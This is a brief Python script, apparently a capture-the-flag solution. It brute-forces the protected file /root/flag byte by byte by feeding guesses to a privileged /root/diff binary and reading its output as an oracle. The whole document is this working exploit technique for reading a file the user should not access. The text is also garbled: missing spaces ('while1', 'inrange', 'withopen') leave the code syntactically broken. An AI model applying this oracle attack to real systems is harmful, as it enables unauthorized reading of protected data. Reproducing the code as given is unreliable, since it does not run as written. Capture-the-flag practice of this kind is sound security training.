from subprocess import * fix = '' while1: for i inrange(0x100): payload = fix+chr(i) withopen('/tmp/ktql','w+') as f: f.write(payload) p = Popen(['/root/diff','/tmp/ktql','/root/flag'],stdout=PIPE) res = p.stdout.read() if res != '1': fix+=chr(0x100-i) print(fix) break